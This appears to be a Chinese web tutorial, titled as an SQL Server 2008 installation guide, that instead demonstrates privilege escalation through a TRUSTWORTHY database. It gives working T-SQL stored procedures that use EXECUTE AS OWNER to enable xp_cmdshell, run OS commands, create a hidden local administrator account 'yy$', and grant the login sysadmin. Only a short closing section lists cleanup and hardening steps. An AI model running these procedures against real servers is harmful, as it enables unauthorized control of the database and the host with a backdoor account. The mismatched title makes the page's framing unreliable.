SQL Server2008的安装,SQLServer2008的安装......
2023-02-22 208 安装
在创建数据库账号时赋予了账号对应数据库db_owner角色,并将数据库设置为可信任,该账号也拥有了权限对服务器提权
一、新建数据库和账号
create database testDB; --Create database
select SUSER_SNAME(owner_sid) from sys.databases where name = 'testDB' --verify sa is the owner of the application database
create login testDBuser with password = 'mYPass@word' --Create login
use testDB
go
alter login testDBuser with default_database = testDB --set testDB is the default database of the login
create user testuser from login testDBuser --crete user
2二、分配数据库db_owner权限
--set db_owner role of the user
exec sp_addrolemember db_owner,testuser
-- Verify the user was added as db_owner
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
3三、设置测试数据库为可信
--设置testDB数据库为可信
ALTER DATABASE testDB SET TRUSTWORTHY ON
--查询可信数据库信息,testDB以及MSDB数据库被标记成可信
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;
4
四、利用存储过程执行提权命令一
使用testDBuser用户登陆SQL Server,然后执行TSQL,创建一个名为sp_elevate1的存储过程。这个存储过程在OWNER权限中运行,这是sa帐户存在的情况。由于是使用sa权限登录的,所以这可能将testDBuser加入系统管理员组。
use testDB
go
create procedure sp_elevate1
with execute as owner
as
exec sp_configure 'show advanced option',1 -- Enable show options
reconfigure
exec sp_configure 'xp_cmdshell',1 -- Enable xp_cmdshell
reconfigure
exec master..xp_cmdshell 'whoami'
exec master.dbo.xp_cmdshell 'query user'
go
exec sp_elevate1
5
use testDB
go
CREATE PROCEDURE xxx
WITH EXECUTE AS OWNER
AS
exec master..xp_cmdshell 'net user yy$ Yy@hack.com /add'
exec master..xp_cmdshell 'net localgroup administrators yy$ /add'
6
五、利用存储过程执行提权命令二
使用testDBuser用户登陆SQL Server,然后执行TSQL,创建一个名为sp_elevate2的存储过程。
USE testDB
GO
CREATE PROCEDURE sp_elevate2
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'testDBuser','sysadmin'
GO
exec sp_elevate2
7
SELECT is_srvrolemember('sysadmin')
8
六、删除账号并重新配置数据库
1、net user yy$ /del
2、将被影响的数据库“TRUSTWORTHY”设置为off(包括MSDB), 防止在存储过程中执行xp_cmdshell和一些其他恶意的操作
3、关闭数据库中有sysadmin权限的用户具有sysadmin权限
以上方法由办公区教程网编辑摘抄自百度经验可供大家参考!
相关文章